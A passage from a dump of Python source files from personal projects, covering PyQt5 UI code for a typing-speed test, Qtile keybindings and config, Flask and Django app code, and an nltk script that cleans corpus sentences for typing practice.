self.comboBoxSelectMode.setSizeAdjustPolicy(QtWidgets.QComboBox.AdjustToContentsOnFirstShow)\n self.comboBoxSelectMode.setIconSize(QtCore.QSize(0, 0))\n self.comboBoxSelectMode.setFrame(False)\n self.comboBoxSelectMode.setObjectName(\"comboBoxSelectMode\")\n self.comboBoxSelectMode.addItem(\"\")\n self.comboBoxSelectMode.addItem(\"\")\n self.comboBoxSelectMode.addItem(\"\")\n self.comboBoxSelectMode.addItem(\"\")\n self.comboBoxSelectMode.addItem(\"\")\n self.comboBoxSelectMode.addItem(\"\")\n self.comboBoxSelectMode.addItem(\"\")\n self.verticalLayout_3.addWidget(self.comboBoxSelectMode)\n spacerItem4 = QtWidgets.QSpacerItem(20, 5, QtWidgets.QSizePolicy.Minimum, QtWidgets.QSizePolicy.Fixed)\n self.verticalLayout_3.addItem(spacerItem4)\n self.buttonSettings = QtWidgets.QPushButton(self.scrollAreaWidgetContents)\n sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.buttonSettings.sizePolicy().hasHeightForWidth())\n self.buttonSettings.setSizePolicy(sizePolicy)\n self.buttonSettings.setMinimumSize(QtCore.QSize(0, 40))\n font = QtGui.QFont()\n font.setPointSize(16)\n self.buttonSettings.setFont(font)\n self.buttonSettings.setCursor(QtGui.QCursor(QtCore.Qt.PointingHandCursor))\n self.buttonSettings.setAutoDefault(True)\n self.buttonSettings.setObjectName(\"buttonSettings\")\n self.verticalLayout_3.addWidget(self.buttonSettings)\n spacerItem5 = QtWidgets.QSpacerItem(20, 5, QtWidgets.QSizePolicy.Minimum, QtWidgets.QSizePolicy.Fixed)\n self.verticalLayout_3.addItem(spacerItem5)\n self.buttonStatistics = QtWidgets.QPushButton(self.scrollAreaWidgetContents)\n sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.buttonStatistics.sizePolicy().hasHeightForWidth())\n self.buttonStatistics.setSizePolicy(sizePolicy)\n self.buttonStatistics.setMinimumSize(QtCore.QSize(0, 40))\n font = QtGui.QFont()\n font.setPointSize(16)\n self.buttonStatistics.setFont(font)\n self.buttonStatistics.setCursor(QtGui.QCursor(QtCore.Qt.PointingHandCursor))\n self.buttonStatistics.setAutoDefault(True)\n self.buttonStatistics.setObjectName(\"buttonStatistics\")\n self.verticalLayout_3.addWidget(self.buttonStatistics)\n spacerItem6 = QtWidgets.QSpacerItem(20, 5, QtWidgets.QSizePolicy.Minimum, QtWidgets.QSizePolicy.Fixed)\n self.verticalLayout_3.addItem(spacerItem6)\n self.buttonExit = QtWidgets.QPushButton(self.scrollAreaWidgetContents)\n self.buttonExit.setMinimumSize(QtCore.QSize(0, 40))\n font = QtGui.QFont()\n font.setPointSize(16)\n self.buttonExit.setFont(font)\n self.buttonExit.setCursor(QtGui.QCursor(QtCore.Qt.PointingHandCursor))\n self.buttonExit.setAutoDefault(True)\n self.buttonExit.setObjectName(\"buttonExit\")\n self.verticalLayout_3.addWidget(self.buttonExit)\n spacerItem7 = QtWidgets.QSpacerItem(20, 40, QtWidgets.QSizePolicy.Minimum, QtWidgets.QSizePolicy.Expanding)\n self.verticalLayout_3.addItem(spacerItem7)\n self.horizontalLayout_2.addLayout(self.verticalLayout_3)\n spacerItem8 = QtWidgets.QSpacerItem(40, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum)\n self.horizontalLayout_2.addItem(spacerItem8)\n self.scrollArea.setWidget(self.scrollAreaWidgetContents)\n self.horizontalLayout.addWidget(self.scrollArea)\n\n self.retranslateUi(mainWindow)\n QtCore.QMetaObject.connectSlotsByName(mainWindow)\n\n def retranslateUi(self, mainWindow):\n _translate = QtCore.QCoreApplication.translate\n mainWindow.setWindowTitle(_translate(\"mainWindow\", \"Speed Type Test\"))\n self.labelMainMenu.setText(_translate(\"mainWindow\", \"Main Menu\"))\n self.buttonStart.setText(_translate(\"mainWindow\", \"Begin\"))\n self.comboBoxSelectMode.setItemText(0, _translate(\"mainWindow\", \"Common Phrases\"))\n self.comboBoxSelectMode.setItemText(1, _translate(\"mainWindow\", \"Facts\"))\n self.comboBoxSelectMode.setItemText(2, _translate(\"mainWindow\", \"Famous Literature Excerpts\"))\n self.comboBoxSelectMode.setItemText(3, _translate(\"mainWindow\", \"Famous Quotes\"))\n self.comboBoxSelectMode.setItemText(4, _translate(\"mainWindow\", \"Random Text: Brown\"))\n self.comboBoxSelectMode.setItemText(5, _translate(\"mainWindow\", \"Random Text: Gutenberg\"))\n self.comboBoxSelectMode.setItemText(6, _translate(\"mainWindow\", \"Random Text: Webtext\"))\n self.buttonSettings.setText(_translate(\"mainWindow\", \"Settings\"))\n self.buttonStatistics.setText(_translate(\"mainWindow\", \"Statistics\"))\n self.buttonExit.setText(_translate(\"mainWindow\", \"Exit\"))\n\n\nif __name__ == \"__main__\":\n import sys\n app = QtWidgets.QApplication(sys.argv)\n mainWindow = QtWidgets.QWidget()\n ui = Ui_mainWindow()\n ui.setupUi(mainWindow)\n mainWindow.show()\n sys.exit(app.exec_())\n", "id": "3373106", "language": "Python", "matching_score": 7.722644805908203, "max_stars_count": 1, "path": "speed-typer/source_ui/main_window.py" }, { "content": "# -*- coding: utf-8 -*-\n\n# Form implementation generated from reading ui file 'typingWindow.ui'\n#\n# Created by: PyQt5 UI code generator 5.15.4\n#\n# WARNING: Any manual changes made to this file will be lost when pyuic5 is\n# run again. Do not edit this file unless you know what you are doing.\n\n\nfrom PyQt5 import QtCore, QtGui, QtWidgets\n\n\nclass Ui_typingWindow(object):\n def setupUi(self, typingWindow):\n typingWindow.setObjectName(\"typingWindow\")\n typingWindow.resize(1550, 640)\n self.verticalLayout = QtWidgets.QVBoxLayout(typingWindow)\n self.verticalLayout.setObjectName(\"verticalLayout\")\n self.scrollArea = QtWidgets.QScrollArea(typingWindow)\n self.scrollArea.setFocusPolicy(QtCore.Qt.NoFocus)\n self.scrollArea.setWidgetResizable(True)\n self.scrollArea.setObjectName(\"scrollArea\")\n self.scrollAreaWidgetContents = QtWidgets.QWidget()\n self.scrollAreaWidgetContents.setGeometry(QtCore.QRect(0, 0, 1528, 618))\n self.scrollAreaWidgetContents.setMinimumSize(QtCore.QSize(1500, 600))\n self.scrollAreaWidgetContents.setObjectName(\"scrollAreaWidgetContents\")\n self.verticalLayout_2 = QtWidgets.QVBoxLayout(self.scrollAreaWidgetContents)\n self.verticalLayout_2.setObjectName(\"verticalLayout_2\")\n self.lineInput = QtWidgets.QLineEdit(self.scrollAreaWidgetContents)\n sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.lineInput.sizePolicy().hasHeightForWidth())\n self.lineInput.setSizePolicy(sizePolicy)\n self.lineInput.setMinimumSize(QtCore.QSize(0, 0))\n self.lineInput.setMaximumSize(QtCore.QSize(0, 0))\n self.lineInput.setMaxLength(100000)\n self.lineInput.setObjectName(\"lineInput\")\n self.verticalLayout_2.addWidget(self.lineInput)\n spacerItem = QtWidgets.QSpacerItem(0, 17, QtWidgets.QSizePolicy.Minimum, QtWidgets.QSizePolicy.Fixed)\n self.verticalLayout_2.addItem(spacerItem)\n self.labelTitle = QtWidgets.QLabel(self.scrollAreaWidgetContents)\n sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.labelTitle.sizePolicy().hasHeightForWidth())\n self.labelTitle.setSizePolicy(sizePolicy)\n self.labelTitle.setMinimumSize(QtCore.QSize(0, 50))\n self.labelTitle.setSizeIncrement(QtCore.QSize(0, 0))\n font = QtGui.QFont()\n font.setFamily(\"Sans Serif\")\n font.setPointSize(28)\n font.setBold(True)\n font.setWeight(75)\n self.labelTitle.setFont(font)\n self.labelTitle.setStyleSheet(\"\")\n self.labelTitle.setAlignment(QtCore.Qt.AlignBottom|QtCore.Qt.AlignHCenter)\n self.labelTitle.setObjectName(\"labelTitle\")\n self.verticalLayout_2.addWidget(self.labelTitle)\n spacerItem1 = QtWidgets.QSpacerItem(20, 20, QtWidgets.QSizePolicy.Minimum, QtWidgets.QSizePolicy.Expanding)\n self.verticalLayout_2.addItem(spacerItem1)\n self.labelMainText = QtWidgets.QLabel(self.scrollAreaWidgetContents)\n sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Expanding)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.labelMainText.sizePolicy().hasHeightForWidth())\n self.labelMainText.setSizePolicy(sizePolicy)\n font = QtGui.QFont()\n font.setPointSize(26)\n self.labelMainText.setFont(font)\n self.labelMainText.setStyleSheet(\"padding: 0 100px; font-size: 26pt;\")\n self.labelMainText.setLineWidth(1)\n self.labelMainText.setMidLineWidth(1)\n self.labelMainText.setTextFormat(QtCore.Qt.RichText)\n self.labelMainText.setScaledContents(False)\n self.labelMainText.setAlignment(QtCore.Qt.AlignLeading|QtCore.Qt.AlignLeft|QtCore.Qt.AlignVCenter)\n self.labelMainText.setWordWrap(True)\n self.labelMainText.setIndent(-1)\n self.labelMainText.setTextInteractionFlags(QtCore.Qt.NoTextInteraction)\n self.labelMainText.setObjectName(\"labelMainText\")\n self.verticalLayout_2.addWidget(self.labelMainText)\n spacerItem2 = QtWidgets.QSpacerItem(20, 20, QtWidgets.QSizePolicy.Minimum, QtWidgets.QSizePolicy.Expanding)\n self.verticalLayout_2.addItem(spacerItem2)\n self.horizontalLayoutButtons = QtWidgets.QHBoxLayout()\n self.horizontalLayoutButtons.setSizeConstraint(QtWidgets.QLayout.SetFixedSize)\n self.horizontalLayoutButtons.setContentsMargins(-1, 0, -1, -1)\n self.horizontalLayoutButtons.setObjectName(\"horizontalLayoutButtons\")\n spacerItem3 = QtWidgets.QSpacerItem(20, 20, QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Minimum)\n self.horizontalLayoutButtons.addItem(spacerItem3)\n self.buttonMainMenu = QtWidgets.QPushButton(self.scrollAreaWidgetContents)\n sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.buttonMainMenu.sizePolicy().hasHeightForWidth())\n self.buttonMainMenu.setSizePolicy(sizePolicy)\n self.buttonMainMenu.setMinimumSize(QtCore.QSize(0, 40))\n self.buttonMainMenu.setCursor(QtGui.QCursor(QtCore.Qt.PointingHandCursor))\n self.buttonMainMenu.setFocusPolicy(QtCore.Qt.NoFocus)\n self.buttonMainMenu.setAutoDefault(False)\n self.buttonMainMenu.setDefault(False)\n self.buttonMainMenu.setObjectName(\"buttonMainMenu\")\n self.horizontalLayoutButtons.addWidget(self.buttonMainMenu)\n spacerItem4 = QtWidgets.QSpacerItem(25, 20, QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Minimum)\n self.horizontalLayoutButtons.addItem(spacerItem4)\n self.buttonRestart = QtWidgets.QPushButton(self.scrollAreaWidgetContents)\n sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.buttonRestart.sizePolicy().hasHeightForWidth())\n self.buttonRestart.setSizePolicy(sizePolicy)\n self.buttonRestart.setCursor(QtGui.QCursor(QtCore.Qt.PointingHandCursor))\n self.buttonRestart.setFocusPolicy(QtCore.Qt.NoFocus)\n self.buttonRestart.setObjectName(\"buttonRestart\")\n self.horizontalLayoutButtons.addWidget(self.buttonRestart)\n spacerItem5 = QtWidgets.QSpacerItem(25, 20, QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Minimum)\n self.horizontalLayoutButtons.addItem(spacerItem5)\n self.buttonNewText = QtWidgets.QPushButton(self.scrollAreaWidgetContents)\n sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.buttonNewText.sizePolicy().hasHeightForWidth())\n self.buttonNewText.setSizePolicy(sizePolicy)\n self.buttonNewText.setCursor(QtGui.QCursor(QtCore.Qt.PointingHandCursor))\n self.buttonNewText.setFocusPolicy(QtCore.Qt.NoFocus)\n self.buttonNewText.setObjectName(\"buttonNewText\")\n self.horizontalLayoutButtons.addWidget(self.buttonNewText)\n spacerItem6 = QtWidgets.QSpacerItem(80, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum)\n self.horizontalLayoutButtons.addItem(spacerItem6)\n self.labelTime = QtWidgets.QLabel(self.scrollAreaWidgetContents)\n self.labelTime.setObjectName(\"labelTime\")\n self.horizontalLayoutButtons.addWidget(self.labelTime)\n self.labelUnit = QtWidgets.QLabel(self.scrollAreaWidgetContents)\n self.labelUnit.setObjectName(\"labelUnit\")\n self.horizontalLayoutButtons.addWidget(self.labelUnit)\n spacerItem7 = QtWidgets.QSpacerItem(20, 20, QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Minimum)\n self.horizontalLayoutButtons.addItem(spacerItem7)\n self.verticalLayout_2.addLayout(self.horizontalLayoutButtons)\n spacerItem8 = QtWidgets.QSpacerItem(20, 20, QtWidgets.QSizePolicy.Minimum, QtWidgets.QSizePolicy.Fixed)\n self.verticalLayout_2.addItem(spacerItem8)\n self.scrollArea.setWidget(self.scrollAreaWidgetContents)\n self.verticalLayout.addWidget(self.scrollArea)\n\n self.retranslateUi(typingWindow)\n QtCore.QMetaObject.connectSlotsByName(typingWindow)\n\n def retranslateUi(self, typingWindow):\n _translate = QtCore.QCoreApplication.translate\n typingWindow.setWindowTitle(_translate(\"typingWindow\", \"Typing window\"))\n self.labelTitle.setText(_translate(\"typingWindow\", \"Mode\"))\n self.labelMainText.setText(_translate(\"typingWindow\", \"Random text to type out blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah\"))\n self.buttonMainMenu.setText(_translate(\"typingWindow\", \"Back\"))\n self.buttonRestart.setText(_translate(\"typingWindow\", \"Restart\"))\n self.buttonNewText.setText(_translate(\"typingWindow\", \"New Text\"))\n self.labelTime.setText(_translate(\"typingWindow\", \"1000\"))\n self.labelUnit.setText(_translate(\"typingWindow\", \"s\"))\n\n\nif __name__ == \"__main__\":\n import sys\n app = QtWidgets.QApplication(sys.argv)\n typingWindow = QtWidgets.QWidget()\n ui = Ui_typingWindow()\n ui.setupUi(typingWindow)\n typingWindow.show()\n sys.exit(app.exec_())\n", "id": "6452377", "language": "Python", "matching_score": 0.7326442003250122, "max_stars_count": 1, "path": "speed-typer/source_ui/typing_window.py" }, { "content": "from libqtile.config import EzKey as Key\nfrom libqtile.lazy import lazy\n\nfrom my_modules.programs import PROGRAMS, WEBSITES\n\n\nMOD_KEY = \"mod4\"\n\nKEYS = [\n # Window controls\n Key(\"M-<Tab>\", lazy.layout.next(), desc=\"Move window focus to other window\"),\n Key(\"M-h\", lazy.layout.left(), desc=\"Move focus to left\"),\n Key(\"M-S-h\", lazy.layout.shuffle_left(), desc=\"Move window to the left\"),\n Key(\"M-l\", lazy.layout.right(), desc=\"Move focus to right\"),\n Key(\"M-S-l\", lazy.layout.shuffle_right(), desc=\"Move window to the right\"),\n Key(\"M-j\", lazy.layout.down(), desc=\"Move focus down\"),\n Key(\"M-S-j\", lazy.layout.shuffle_down(), desc=\"Move window down\"),\n Key(\"M-k\", lazy.layout.up(), desc=\"Move focus up\"),\n Key(\"M-S-k\", lazy.layout.shuffle_up(), desc=\"Move window up\"),\n Key(\"M-i\", lazy.layout.grow(), desc=\"Grow window\"),\n Key(\"M-S-i\", lazy.layout.shrink(), desc=\"Shrink window\"),\n Key(\"M-w\", lazy.window.kill(), desc=\"Kill focused window\"),\n # Layouts\n Key(\"M-<space>\", lazy.next_layout(), desc=\"Change to next layout\"),\n Key(\"M-S-<space>\", lazy.prev_layout(), desc=\"Change to previous layout\"),\n # Qtile and power\n Key(\"M-S-q\", lazy.restart(), desc=\"Restart Qtile\"),\n Key(\"M-S-c\", lazy.shutdown(), desc=\"Shutdown Qtile\"),\n Key(\"M-S-r\", lazy.spawn(\"reboot\"), desc=\"Reboot PC\"),\n Key(\"M-S-s\", lazy.spawn(\"shutdown now\"), desc=\"Shutdown PC\"),\n # Volume\n Key(\"<XF86AudioLowerVolume>\", lazy.spawn(\"pamixer --decrease 5\")),\n Key(\"<XF86AudioRaiseVolume>\", lazy.spawn(\"pamixer --increase 5\")),\n Key(\"<XF86AudioMute>\", lazy.spawn(\"pamixer --toggle-mute\")),\n # Launch programs\n Key(\"M-r\", lazy.spawncmd(), desc=\"Spawn a command using a prompt widget\"),\n Key(\n \"M-<Return>\",\n lazy.spawn(PROGRAMS[\"terminal\"]),\n desc=\"Launch terminal\",\n ),\n Key(\n \"M-f\",\n lazy.spawn(PROGRAMS[\"browser\"]),\n desc=\"Launch browser\",\n ),\n Key(\n \"M-c\",\n lazy.spawn(PROGRAMS[\"editor\"]),\n desc=\"Launch text editor\",\n ),\n Key(\n \"M-d\",\n lazy.spawn(PROGRAMS[\"launcher\"]),\n desc=\"Launch launcher program e.g. rofi, dmenu\",\n ),\n Key(\n \"M-t\",\n lazy.spawn(PROGRAMS[\"file_explorer\"]),\n desc=\"Launch file explorer\",\n ),\n Key(\n \"M-e\",\n lazy.spawn(PROGRAMS[\"email_client\"]),\n desc=\"Launch email client\",\n ),\n Key(\n \"M-p\",\n lazy.spawn(PROGRAMS[\"screenshot\"]),\n desc=\"Launch screenshotting tool\",\n ),\n Key(\n \"M-b\",\n lazy.spawn(f\"{PROGRAMS['wallpaper_manager']} -n\"),\n desc=\"Cycle to next wallpaper\",\n ),\n Key(\n \"M-S-b\",\n lazy.spawn(f\"{PROGRAMS['wallpaper_manager']} -p\"),\n desc=\"Cycle to previous wallpaper\",\n ),\n Key(\n \"M-v\",\n lazy.spawn(f\"{PROGRAMS['wallpaper_manager']} -f\"),\n desc=\"Add current wallpaper to favourites\",\n ),\n # Launch websites\n Key(\n \"M-g\",\n lazy.spawn(WEBSITES[\"github\"]),\n desc=\"Open my GitHub page.\",\n ),\n Key(\n \"M-o\",\n lazy.spawn(WEBSITES[\"stack_overflow\"]),\n desc=\"Open the questions page on Stack Overflow.\",\n ),\n Key(\n \"M-y\",\n lazy.spawn(WEBSITES[\"youtube\"]),\n desc=\"Opens Youtube.\",\n ),\n Key(\n \"M-n\",\n lazy.spawn(WEBSITES[\"netflix\"]),\n desc=\"Opens Netflix.\",\n ),\n]\n", "id": "6047849", "language": "Python", "matching_score": 2.4706859588623047, "max_stars_count": 0, "path": ".config/qtile/my_modules/keys.py" }, { "content": "from os import environ\n\n\ndef get_program(environment_variable: str, backup: str) -> str:\n return environ.get(environment_variable, default=backup)\n\n\ndef get_terminal_program(program: str) -> str:\n return f\"{PROGRAMS['terminal']} -e {program}\"\n\n\ndef get_site(url: str) -> str:\n return f'{PROGRAMS[\"browser\"]} {url}'\n\n\n# Set used programs and commands\nPROGRAMS = dict(\n editor=get_program(\"MY_EDITOR\", \"code\"),\n terminal=get_program(\"MY_TERMINAL\", \"xterm\"),\n browser=get_program(\"MY_BROWSER\", \"firefox\"),\n launcher=get_program(\"MY_LAUNCHER\", \"rofi -show run\"),\n file_explorer=get_program(\"MY_EXPLORER\", \"thunar\"),\n email_client=get_program(\"MY_EMAIL_CLIENT\", \"thunderbird\"),\n work_communication=get_program(\"MY_WORK_COMMUNICATION\", \"skypeforlinux\"),\n screenshot=get_program(\"MY_SCREENSHOT\", \"flameshot gui\"),\n volume_manager=get_program(\"MY_VOLUME_MANAGER\", \"pavucontrol\"),\n system_monitor=\"psensor\",\n volume_toggle=\"amixer set Master toggle\",\n wallpaper_manager=\"variety\",\n)\n# Append terminal programs (requires PROGRAMS to be defined)\nPROGRAMS.update(\n dict(\n tech_news=get_terminal_program(\"daily-hn\"),\n )\n)\n\n# Set commands used to open useful websites\nWEBSITES = dict(\n stack_overflow=get_site(\n \"https://stackoverflow.com/questions/tagged/python?sort=Newest&filters=NoAnswers\"\n \"&uqlId=33538\"\n ),\n github=get_site(\"https://github.com/Rolv-Apneseth\"),\n youtube=get_site(\"https://www.youtube.com/\"),\n netflix=get_site(\"https://www.netflix.com/\"),\n)\n\nif __name__ == \"__main__\":\n # Print out programs, for debugging\n from pprint import pprint\n\n pprint(PROGRAMS)\n pprint(WEBSITES)\n", "id": "5739020", "language": "Python", "matching_score": 0.6918201446533203, "max_stars_count": 0, "path": ".config/qtile/my_modules/programs.py" }, { "content": "import os\nfrom flask import Flask\nfrom flask_sqlalchemy import SQLAlchemy\nfrom flask_login import LoginManager\n\n\n# CONSTANTS\nDB_NAME = \"database.db\"\nLOCAL_DATABASE_PATH = os.path.join(\"website\", DB_NAME)\n\n\ndb = SQLAlchemy()\n\n\ndef create_app():\n # Set up app\n app = Flask(__name__)\n app.config[\"SECRET_KEY\"] = os.environ[\"JUST_A_TRACKER_KEY\"]\n app.config[\"SQLALCHEMY_TRACK_MODIFICATIONS\"] = False\n\n ENV = os.environ[\"JUST_A_TRACKER_ENV\"]\n if ENV == \"dev\":\n app.debug = True\n app.config[\"SQLALCHEMY_DATABASE_URI\"] = f\"sqlite:///{DB_NAME}\"\n elif ENV == \"prod\":\n app.config[\"SQLALCHEMY_DATABASE_URI\"] = os.environ[\"DATABASE_URL\"]\n\n db.init_app(app)\n\n # Login Manager\n login_manager = LoginManager()\n login_manager.login_view = \"auth.login\"\n login_manager.init_app(app)\n\n # user_loader callback for login manager\n @login_manager.user_loader\n def load_user(user_id):\n return User.query.get(int(user_id))\n\n # Load blueprints\n from .views import views\n from .auth import auth\n\n app.register_blueprint(views, url_prefix=\"/\")\n app.register_blueprint(auth, url_prefix=\"/\")\n\n # Import database models\n from .models import (\n users_workspaces,\n Workspace,\n User,\n Bug,\n )\n\n # Create local database if it does not yet exist\n if ENV == \"dev\":\n create_database(app)\n\n return app\n\n\ndef create_database(app):\n if not os.path.exists(LOCAL_DATABASE_PATH):\n db.create_all(app=app)\n print(\"Local database created\")\n", "id": "7988535", "language": "Python", "matching_score": 2.2233707904815674, "max_stars_count": 1, "path": "just-a-tracker/website/__init__.py" }, { "content": "from flask import Flask, jsonify, json, request\nfrom flask_sqlalchemy import SQLAlchemy\n\napp = Flask(__name__)\napp.config[\"SQLALCHEMY_TRACK_MODIFICATIONS\"] = False\napp.config[\"SQLALCHEMY_DATABASE_URI\"] = \"sqlite:///sqlite.db\"\ndb = SQLAlchemy(app)\n\n\nclass ToDo(db.Model):\n id = db.Column(db.Integer, primary_key=True)\n content = db.Column(db.Text, nullable=False)\n\n def __str__(self):\n return f\"{self.id} {self.content}\"\n\n\ndef to_do_serializer(todo):\n return {\n \"id\": todo.id,\n \"content\": todo.content,\n }\n\n\n@app.route(\"/api\", methods=[\"GET\"])\ndef index():\n return jsonify(list(map(to_do_serializer, ToDo.query.all())))\n\n\n@app.route(\"/api/create\", methods=[\"POST\"])\ndef create():\n request_data = json.loads(request.data)\n todo = ToDo(content=request_data[\"content\"])\n\n db.session.add(todo)\n db.session.commit()\n\n return {\"201\": \"todo created successfully\"}\n\n\n@app.route(\"/api/<int:id>\", methods=[\"GET\"])\ndef show(id):\n return jsonify(list(map(to_do_serializer, ToDo.query.filter_by(id=id))))\n\n\n@app.route(\"/api/<int:id>\", methods=[\"POST\"])\ndef delete(id):\n # request_data = json.loads(request.data)\n\n db.session.delete(ToDo.query.get(id))\n db.session.commit()\n\n return {\"204\": f\"Deleted to do of id={id} successfully\"}\n\n\nif __name__ == \"__main__\":\n app.run(debug=True)\n", "id": "10193718", "language": "Python", "matching_score": 0.4529629051685333, "max_stars_count": 3, "path": "ToDoApp-Flask,React/to_do_app/api/api.py" }, { "content": "from pathlib import Path\nimport re\n\n\n# PATHS\nTEXTS_FOLDER = Path(__file__).absolute().parent\nBROWN = TEXTS_FOLDER / \"brown.txt\"\nWEBTEXT = TEXTS_FOLDER / \"webtext.txt\"\nGUTENBERG = TEXTS_FOLDER / \"gutenberg.txt\"\n\n\n# Nltk corpora for 'random' texts\nCORPORA = [\n \"brown\",\n \"webtext\",\n \"gutenberg\",\n]\ntry:\n # Check if nltk corpora are downloaded\n from nltk import corpus\n\n corpus.brown.ensure_loaded()\n corpus.webtext.ensure_loaded()\n corpus.gutenberg.ensure_loaded()\n\nexcept LookupError:\n # Download nltk corpora\n from nltk import download\n\n for corpus in CORPORA:\n download(corpus)\n\n # Used for splitting texts into sentences\n download(\"punkt\")\n\nfinally:\n # Import corpora\n from nltk.corpus import brown\n from nltk.corpus import webtext\n from nltk.corpus import gutenberg\n\n\n# CONSTANTS\nSENTENCE_MIN_LEN = 4\nSENTENCE_MAX_LEN = 275\nREPLACE_SYMBOLS = {\n \" ,\": \",\",\n \",,\": \",\",\n \" .\": \".\",\n \" ?\": \"?\",\n \"??\": \"?\",\n \"( \": \"(\",\n \" )\": \")\",\n \" ;\": \";\",\n \";;\": \";\",\n \" :\": \":\",\n \" -- \": \"--\",\n \" !\": \"!\",\n \"!!\": \"!\",\n \" ' \": \"'\",\n \"` \": \"'\",\n \"\"\"\"'\"\"\": \"'\",\n \"\"\"\"`\"\"\": \"'\",\n}\n\nREMOVE_SYMBOLS = [\n \" ''\",\n \"'' \",\n \" ``\",\n \"``\",\n \"`'\",\n]\n\nDISALLOWED_WORDS = [\n \"nigg\",\n \"Nigg\",\n]\n\n\n# FUNCTIONS\ndef replace_from_text(raw_text: str, symbols: dict) -> str:\n \"\"\"\n Replace every symbol/character in the keys of the given symbols dictionary\n with the corresponding value for each key, from the given string raw_text.\n \"\"\"\n\n for symbol in symbols:\n if symbol in raw_text:\n raw_text = raw_text.replace(symbol, symbols[symbol])\n\n return raw_text\n\n\ndef remove_from_text(raw_text: str, symbols: list) -> str:\n \"\"\"\n Removes every symbol/character in the given symbols list from a given string,\n raw_text.\n \"\"\"\n\n return re.sub(\"|\".join(symbols), \"\", raw_text)\n\n\ndef clean_text(raw_text: str) -> str:\n \"\"\"\n Takes a raw string from having joined words from an nltk corpus\n using, for example \" \".join(words), and returns a more cleaned\n version of the text.\n\n This is achieved by replacing and removing certain symbols so that\n the text reads more like normal written English.\n \"\"\"\n\n return remove_from_text(\n replace_from_text(raw_text, REPLACE_SYMBOLS), REMOVE_SYMBOLS\n )\n\n\ndef generate_corpus_text(corpus, filename: Path) -> None:\n \"\"\"\n Generates a text file of the given filename (absolute path) from the given\n corpus.\n \"\"\"\n # Get a list of sentences from the corpus\n raw_sentences = corpus.sents()\n\n processed_sentences = []\n for sentence in raw_sentences:\n joined_sentence = \" \".join(word for word in sentence)\n\n processed_sentence = f\"{clean_text(joined_sentence).strip()}\\n\"\n\n # Checks for sentence length and whether sentence contains an unallowed word\n conditions_met = SENTENCE_MIN_LEN <= len(\n processed_sentence\n ) <= SENTENCE_MAX_LEN and not any(\n (word in processed_sentence) for word in DISALLOWED_WORDS\n )\n\n if conditions_met:\n processed_sentences.append(processed_sentence)\n\n # Write the processed sentences to a text file\n with open(filename, \"wt\") as corpus_file:\n corpus_file.writelines(processed_sentences)\n\n\nif __name__ == \"__main__\":\n # Generate brown corpus text\n generate_corpus_text(brown, BROWN)\n # Generate webtext corpus text\n generate_corpus_text(webtext, WEBTEXT)\n # Generate gutenberg corpus text\n generate_corpus_text(gutenberg, GUTENBERG)\n", "id": "5627659", "language": "Python", "matching_score": 1.0268515348434448, "max_stars_count": 1, "path": "ps_typer/assets/texts/make-texts.py" }, { "content": "from django.db import models\nimport string\nfrom random import choices\n\n\nVALID_LETTERS = string.ascii_uppercase\n\n\ndef generate_unique_code(length=6):\n while True:\n code = \"\".join(choices(VALID_LETTERS, k=length))\n if not Room.objects.filter(code=code):\n break\n\n\nclass Room(models.Model):\n code = models.CharField(max_length=8, default=generate_unique_code, unique=True)\n host = models.CharField(max_length=50, unique=True)\n guest_can_pause = models.BooleanField(null=False, default=False)\n votes_to_skip = models.IntegerField(null=False, default=1)\n created_at = models.DateTimeField(auto_now_add=True)\n", "id": "12706601", "language": "Python", "matching_score": 0.9483596086502075, "max_stars_count": 3, "path": "django-rest-project/music_controller/api/models.py" }, { "content": "from . import db\nfrom flask_login import UserMixin\nfrom sqlalchemy.sql import func\nfrom datetime import datetime\n\n\nUSERNAME_MAX_LENGTH = 50\nCOMMENT_MAX_LENGTH = 1024\n\n\ndef pretty_date():\n return datetime.now().strftime(\"%d %b %Y\")\n\n\nusers_workspaces = db.Table(\n \"users_wokspaces\",\n db.Column(\"user_id\", db.Integer, db.ForeignKey(\"user.user_id\")),\n db.Column(\"workspace_id\", db.Integer, db.ForeignKey(\"workspace.workspace_id\")),\n)\n\n\nclass Workspace(db.Model):\n workspace_id = db.Column(db.Integer, primary_key=True)\n project_name = db.Column(db.String(128))\n project_link = db.Column(db.String(320))\n\n author_id = 